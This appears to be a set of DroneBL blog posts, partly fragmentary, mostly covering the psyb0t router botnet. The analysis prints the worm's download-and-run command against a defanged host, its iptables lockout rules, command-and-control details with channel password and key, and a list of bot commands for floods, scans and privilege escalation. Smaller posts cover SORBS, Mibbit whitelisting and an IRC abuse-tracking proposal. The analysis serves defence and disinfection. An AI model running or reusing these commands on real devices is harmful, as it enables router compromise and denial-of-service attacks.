SORBS is an essential DNS blacklist service for many users and services. Failure of this blacklist service is unacceptable at present.
Anyone who can provide help to the SORBS staff are encouraged to offer to do so.
]]>dnsbl.proxybl.org.
]]>As a result, the website will be put into maintainance mode within the next 24 hours or so, and we will be migrating the site. It will probably take an hour or so.
Update: The frontend server has been migrated successfully. The old server will be used for miscellaneous administrivia such as our mercurial repository and incoming mail.
]]>You are only vulnerable if:
As such, 90% of the routers and modems participating in this botnet are participating due to user-error (the user themselves or otherwise). Unfortunately, it seems that some of the people covering this botnet do not understand this point, and it is making us look like a bunch of idiots.
Any device that meets the above criteria is vulnerable, including those built on custom firmware such as OpenWRT and DD-WRT. If the above criteria is not met, then the device is NOT vulnerable.
Ports 22, 23 and 80 are blocked as part of the infection process (but NOT as part of the rootkit itself, running the rootkit itself will not alter your iptables configuration).
If these ports are blocked, you should perform a hard reset on your device, change the administrative passwords, and update to the latest firmware. These steps will remove the rootkit and ensure that your device is not reinfected.
We deal with botnets and abusive hosts, not PR.
We are quite concerned that not many people have (there have been a few, but the majority of the people have used the 'slashdot version') contacted us, or anybody else working on this for further information or to verify if their conclusions written in their articles were correct. Many articles described this as a "end of the world, all routers are vulnerable" thing. This is simply not the case. We would prefer if you contact us if you do not understand fully now.
Ok, first off, this binary is for MIPS-based processors, which are not X86 (the kind used in the average PC).
Secondly, this binary IS packed with UPX, but he has stripped the headers necessary to decompress it. A little time with a hex editor can get you the decompressed binary, as can just running it in qemu.
Many botnet investigations are handled by the private sector. This is one of those investigations. If a Law Enforcement agency is interested in our work, or the work of anybody else researching this worm, then they should be encouraged to email admins@dronebl.org about it. If we have any useful information they don't already know, we will be more than happy to provide it.
Short answer: We don't know. There are so many devices out there that we could not possibly know.
Your best bet would be to take action to upgrade the device firmware and secure any passwords if there is concern that the device may be vulnerable. Such actions will help to avoid exploitation by the worm.
We have come across a botnet worm spreading around called "psyb0t". It is notable because, according to my knowledge, it:
Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things:
# rm -f /var/tmp/udhcpc.env
# wget
If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background.
If wget is not present, the bot looks for "busybox ftpget", and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable.
# wget hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/tmp/udhcpc.env && /var/tmp/udhcpc.env &
udhcpc.env 100% |*****************************| 33744 00:00 ETA
It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports.
# iptables -A INPUT -p tcp --dport 23 -j DROP
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -A INPUT -p tcp --dport 80 -j DROP
This concludes the infection process.
Command and control server: strcpy.us.to
IP: 207.155.1.5 (master controller, Windstream Communications AS16687)
IP: 202.67.218.33 (backup controller? HKnet/REACH AS?????)
Port: 5050
Password: $!0@
Channel: #mipsel
Key: %#8b
NickPattern: \[NIP\]-[A-Z/0-9]{9}
BotController: DRS
DroneURL: hxxp://nenolod.net/~nenolod/psyb0t/udhcpc.env (backup copy, i did not write it)
strcpy.us.to control domain nameservers: ns1.afraid.org, ns2.afraid.org, ns3.afraid.org, ns4.afraid.org [suspended]
.mode- sets a mode on a channel .login - login to the bot .logout - logout .exit - causes the botnet to exit and remove itself .sh - runs on shell .tlist - lists all threads .kill - kills a thread .killall - kills threads by glob-match pattern .silent - makes the bot stop sending to channel .getip - show bot WAN ip address .visit - flood URL with GET requests .scan - scans a random range for vulnerable routers/modems .rscan - scans a CIDR range for vulnerable routers/modems .lscan - scans the local subnet for vulnerable routers/modems .lrscan - scans a range in the local subnet for vulnerable routers/modems .split - splits the workload of a scan thread into two threads .sql - scans for vulnerable MySQL servers and attempts to make them download and run URL .pma - scans for vulnerable phpMyAdmin and attempts to make them download and run URL .sleep - makes the bot sleep for the given time .sel - ??? .esel - skip next part if locale is not X .vsel - skip next part if version is not X .gsel - ??? .rejoin [delay] - cycle the channel after delay .upgrade - download new bot from the distribution site .ver - returns "[PRIVATE] PSYB0T" followed by version .rs - returns detected rapidshare URLs and logins .rsgen - generate a bogus rapidshare login page and force user to browse to it .rsloop - runs a webserver i/o loop on as a thread .wget - runs wget with the provided url .r00t - attempts to raise effective UID using vmsplice() exploit (seems pointless) .sflood - sends SYN packets to IP .uflood - sends UDP packets to IP .iflood - sends ICMP pings to IP .pscan - portscans IP .fscan - tries to bruteforce FTP server at IP
As stated above, this is the first known botnet based on exploiting consumer network devices, such as home routers and cable/dsl modems. Many devices appear to be vulnerable. The size of this botnet so far cannot be determined.
The author of this worm has some sophisticated programming knowledge, given the nature of this executable.
Action must be taken immediately to stop this worm before it grows much larger.
We came across this botnet as part of an investigation into the DDoS attacks against DroneBL's infrastructure two weeks ago, and feel that this botnet was the one which flooded DroneBL.
We are looking into finding out more information about this botnet, and its controller. If you have any information, we would like to know.
If you intend to disassemble this botnet, you should note it's UPX-compressed.
I estimate that at the time of writing, there is at least 100,000 hosts infected.
I suspect that the .sql and .pma exploit tools are used for finding more controllers. But I do not have the controller payload.
This technique is one to be extremely concerned about because most end users will not know their network has been hacked, or that their router is exploited. This means that in the future, this could be an attack vector for the theft of personally identifying information. This technique will certainly not be going away.
Some prior research about an earlier version has been found here. This research was done by Terry Baume.
This botnet has apparently been shutdown:
* Now talking on #mipsel * Topic for #mipsel is: .silent on .killall .exit ._exit_ .Research is over: for those interested i reached 80K. That was fun :), time to get back to the real life... (To the DroneBL guys: I never DDOSed/Phished anybody or peeked on anybody's private data for that matter) * Topic for #mipsel set by DRS at Sun Mar 22 17:02:15 2009
While this information may or may not be true, we have received HTTP-based floods from IPs participating in this botnet.
We are still interested in this DRS person. If you have any information, please provide it to DroneBL. We will not disclose our sources.
We also hope that the router and modem manufacturers which have been monitoring this incident take note of it and secure their firmware from future attacks.
We have been getting asked a lot about disinfection instructions.
To disinfect, simply powercycle your device and take appropriate action to lock it down, including the latest firmware updates, and using a secure password.
]]>Anyway, we have decided to give Mibbit a whitelist exception today, so this will not cause any disruption in the future for a service the size of Mibbit.
Some people have taken offense to the fact that we have whitelisted Mibbit, so I would like to explain why we made this decision.
DroneBL has never targeted hosts that can be blocked as a matter of policy. Examples here include TOR exit-nodes, which can be blocked by using tor.ahbl.org, or the newer exitnodes.tor-project.org service. We feel that Mibbit can be blocked by banning the IPs of their backend servers from your service.
While Mibbit technically is an open HTTP proxy, in some respects, and can be abused by enterprising trolls, it is a service that is mostly blockable by setting a local policy to not allow egress traffic from their server to yours, be this through firewalling them or akilling them from the IRC server level.
Anyway, the point is, DroneBL does not target services which can be blocked by means of policy. So, we have decided to whitelist Mibbit for this reason.
Please note that while we are whitelisting Mibbit, it does not mean that Mibbit wont be banned through other services. It just means it wont be banned through DroneBL.
]]>On this topic, I wrote the following on the irc-security list, which I want to expand on here, because we intend to experiment with ways to deal with these problems next:
What we need to stop this undesired behaviour is extensive solidarity, in many forms: 1) Services like DroneBL. These services can be used to stop his spambot, by listing his IP immediately upon reports of spam. Approximately more than 90% of known networks are using DroneBL as a reference for banning. By adding his source IPs, this reduces his attack vector by at least 90%. 2) Making it very clear that the IRC community will not condone networks that harbour or condone his behaviour, or even worse, encourage as is the current situation. In the current situation, the owner of irc.darkscience.ws has been seen as saying that ep0ch is a friend of his, and that he fully supports the activity. By speaking loudly to upstream providers of this network and pursuing suspensions, this behaviour will likely be curbed. 3) Making it very clear that the IRC community will not condone service providers which profit from networks/servers benefiting from spam. The IRC community has a voice with DroneBL, and other services like it, to ensure that there are harsh penalties for service providers which harbour spam sources or beneficiaries. While I do not typically believe in community lynchings of net trash, if we really want this behaviour to stop, we must become more aggressive in ensuring that it is infact stopped. That said, we should be very careful that networks being spammed by people like ep0ch are not victims themselves before taking direct action. But, the basic idea is, "if you spam on IRC, there will be a penalty." Or, something like that. Thoughts? Maybe I am just rambling crackaddled thoughts here?
A large part of the problem is that there is no system for tracking the people behind the abuse. Without such an effort, there is no way that the communities DroneBL provides services to can deal with stopping them in some sense of full solidarity.
So, we need a system to deal with griefers like the person I describe on irc-security in that post. Is DroneBL itself that system? No!
But, is such a system related to the mission of DroneBL? Yes, it is. However, such a system needs to be designed where the community can collaborate on collecting as much evidence of abuse as possible. Collection of large dossiers of abuse against IRC spammers and griefers will be helpful in taking action with abuse desks at ISPs.
But what about ISPs that do not care? Obviously, we cannot ban AT&T, but we can for instance, pressure service providers to do the right thing. For example, a shell provider hosting services belonging to the spammer, could be convinced to drop the spammer's account. In such a case, the abuser would have less resources to use for causing trouble.
Also by having a service which tracks the people behind the netabuse, we can put pressure on them to do the right thing and discontinue their abusive activities.
So, the question is, if I made a service which tracked people, making them no longer anonymous, and providing the IRC community with the ability to make it clear that there will be a consequence for these abusers, would people actually use it to make the consequence effective?
What would need to be done to make such a service, and it's consequence effective? Is the IRC community willing to cooperate to make such a service effective and trustworthy? We need to make sure we are truly banning dirt, such a system could be used as a tool for vengeance and revenge easily, if created with the wrong policies.
I would love to hear thoughts (in the form of lovely comments, especially). This is a tricky situation, and if we, as a community work on making it happen, we should make sure we get it right the first time.
]]>However, RPCkeys were lost and should be re-requested. If you wish to continue using the same RPCkey you have been using, please visit us in #dronebl on irc.atheme.org. State your purpose in the channel, and a DroneBL staff member will address your request as soon as possible. Otherwise, feel free to use the key request page.
Thank you for your patience, and thanks to the DroneBL staff members who worked diligently to restore the DroneBL service with very little downtime.
]]>